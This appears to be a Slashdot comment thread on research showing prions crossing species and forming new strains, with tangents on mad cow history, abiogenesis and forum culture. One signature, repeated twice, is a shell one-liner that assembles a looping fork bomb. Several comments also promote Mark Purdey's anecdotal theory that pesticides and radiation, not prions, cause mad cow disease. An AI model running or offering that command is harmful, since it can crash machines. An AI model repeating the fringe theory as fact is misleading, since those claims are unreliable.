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Prions Observed Jumping Species Barrier
palegray.net writes "Nature is reporting on new findings that prions jump species barriers. Believed to be responsible for ailments such as Creutzfeld-Jakob disease and 'mad cow' disease, prions are thought to disrupt biological processes by causing normal proteins to fold abnormally. Researchers at the University of Texas Medical Branch in Galveston have observed infectious prions from hamsters causing abnormal protein development in mice, along with a range of other observations on prion actions in test tube environments. From the article: '... they also found that when a prion jumps species, it produces a new kind of prion. "This is very worrisome," says Claudio Soto, who led the research, published in Cell. "The universe of possible prions could be much larger than we thought."' Sounds like another good reason to donate your spare CPU cycles to projects like Folding@home."
i may have read the article wrong, but i'll give this a shot.
you're right that we know that prions from cows can cause problems in humans. but i think what the article said is that it creates a new kind of prion as well. so where there used to be just one mis-folded protein messing with you, now there are two mis-folded proteins messing with you, and each is mis-folded in a different way and can do a different thing to you. so while you used to just have apples, now you have apples and oranges to deal with. two different fruits, with two different tastes. and you have to think that for every one instance where they caught this, they missed ten other instances. thinking of it that way, this could be huge.
again, i haven't read the full article, and i may have read the synopsis wrong, but that's the impression i got out of it
I couple of years back, I did a lot of reading on Mad Cow. There were so many examples of it jumping the species barrier...and some of them many, many years old.
Here is an example from 18 years ago:
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http://www.highbeam.com/doc/1G1-111779850.html
WASHINGTON -- Eighteen years before last week's first confirmed case of mad cow disease in the United States, investigators concluded that an epidemic of a brain-wasting disease on a Wisconsin mink farm was probably caused by a malady similar to mad cow disease.
The Wisconsin farmer had fed his mink a steady supply of "downer" cows -- too sick or injured to move on their own -- like the one that tested positive for mad cow disease in Washington state last week. On Tuesday, the Department of Agriculture banned such animals for human consumption.
Long before the USDA action, the mink industry began discouraging farmers ..
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It is basically that anyone who did a little study would know that it could jump the species barrier...but it just can't do that until some people in white coats tell us it can do that...then it can.
transporter_ii
Doctors destroy health, lawyers destroy justice, universities destroy knowledge, religion destroys spirituality
It made me wonder, if it changes when it jumps species, maybe prion diseases are something new, so I did some quick checking on Wikipedia. I didn't track down more stuff yet, but I plan on following up. I didn't realize this, but it appears that a lot of prion diseases are fairly recent developments. Scrapie showed up in 1732, Bovine Spongiform Encephalopathy in the 1800s, CJD showed up around 1920, Kuru in 1957, Chronic Wasting Disease in 1967, Feline Spongiform Enecephalopathy 1990.
And these are more than half of the diseases caused by prions, I believe. That's more than a bit disconcerting.
... Mark Purdey was, of course, the British beef farmer who had a different theory about Mad Cow. In the 80's the British government required all cattle to be dosed with an Organo-phostate pesticide, to combat a warble fly epidemic (these bugs punch holes in cattle skin, making the hides less suitable for leather seats).
Purdey was an organic farmer, and sued to protect his right to keep synthetic pesticides away from his herd. He won. A few years later Chernobyl went off, and some time after that the first Mad Cow epidemic occured. Purdey's cows were mostly immune. He had a few mad cows, but these were mostly transplants to his herd which had, presumably, been dosed with the pestacide.
As the years went by, Purdey turned into a scientist himself, doing the research that the british government wouldn't do because of their potential liability in having caused the mad-cow epidemic (by require farmers to poison their herds).
Basically, the pesticide used chellated (removed) copper from the treated body. Somehow manganese substitutes for copper, but it isn't a good subsitute. The radioactive fallout from Chernobyl didn't help things either. It's been years since I first read Purdey's site, so I don't remember the details.
He commented that the Mad Cow in Washington (the northwest state) came from a copper-deficient pasture in Canada, into an area where quite a bit of nuclear weapons research had been done in decades past. The mad deer in Colorado also occupy a site with extensive radiologic environmental poisoning.
So basically, Purdey's theory is that prions are an effect of environmental poisoning, not the cause of Mad-Cow-esque disease.
Purdey is deceased now (brain cancer?), but his site's still live. Definitely recommended reading.
Learn the rules so you know how to break them properly.
www.teslabox.com
Prions appear to exist in a space somewhere between crystals (they "multiply" in a way mot dissimilar to crystals growing and do not make anything "new" the way a virus would) and the lower end of what is considered "true" life. This suggests to me that there is a continuum and that the terms "living" and "non-living" are not descriptive of anything fundamental. If that is correct, then I suspect we will find that prions were an important stage in getting to what we call "life". However, it is not obvious as to how you'd get from a free-floating RNA/DNA strand and a prion to a living cell, so there must be other stages in between, if that indeed was the sequence. I suspect that a study of prions could yield such an additional step, but only if the researchers are willing to accept such a stage could exist.
It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
It's like every /. article is an opportunity to espouse the same posts in a previous article. Let me save all the future posters their breathe...
Dirty energy is bad.
Global Warming.
Creationists are dumb.
DMCA is stoopid.
OMG zero day is here!
There, someone e-mail me when there's a comment worth reading.
I think there's some inherent vulnerability of internet discussion sites to virulent memes. If you look at Digg at the moment it's got to the point where 50% of the stories on the front page are some dubious looking slur on Palin. A few months ago 50% of them where dubious looking slurs on Hilary. And a few months before that they were all posts containing that 09 F9 magic key. 4chan is plagued by self replicating javascripts because it doesn't have a CAPTCHA, but digg and slashdot get a different sort of replicator, one which needs human interaction to spread.
It's like someone posts a meme, people mod/digg it up, there is a backlash, then more people digg it up and post it. People that disagree are eventually forced out. Eventually the meme uses up 50% of the bandwidth.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Have you heard of Cairn's-Smith's clay theory of abiogenesis
http://en.wikipedia.org/wiki/Graham_Cairns-Smith#Clay_theory
In simplified form, clay theory runs as follows: Clays form naturally from silicates in solution. Clay crystals, as other crystals, preserve their external formal arrangement as they grow, snap and grow further. Masses of clay crystals of a particular external form may happen to affect their environment in ways which affect their chances of further replication â" for example, a 'stickier' clay crystal is more likely to silt a stream bed, creating an environment conducive to further sedimentation. It is conceivable that such effects could extend to the creation of flat areas likely to be exposed to air, dry and turn to wind-borne dust, which could fall at random in other streams. Thus by simple, inorganic, physical processes, a selection environment might exist for the reproduction of clay crystals of the 'stickier' shape.
There follows a process of natural selection for clay crystals which trap certain forms of molecules to their surfaces (those which enhance their replication potential). Quite complex proto-organic molecules can be catalysed by the surface properties of silicates. The final step occurs when these complex molecules perform a 'Genetic Takeover' from their clay 'vehicle', becoming an independent locus of replication - an evolutionary moment that might be understood as the first exaptation.
Richard Dawkins said of this that he doesn't believe this particular theory of abiogenesis but something like this must have happened.
He memorably said that one day a robot equivalent of Cairns Smith may note wryly that silicon based machines like him eventually took over from carbon based life like us that built them as tools in the same way that carbon based replicators took over from silicon based clay lifeforms that built them as tools.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;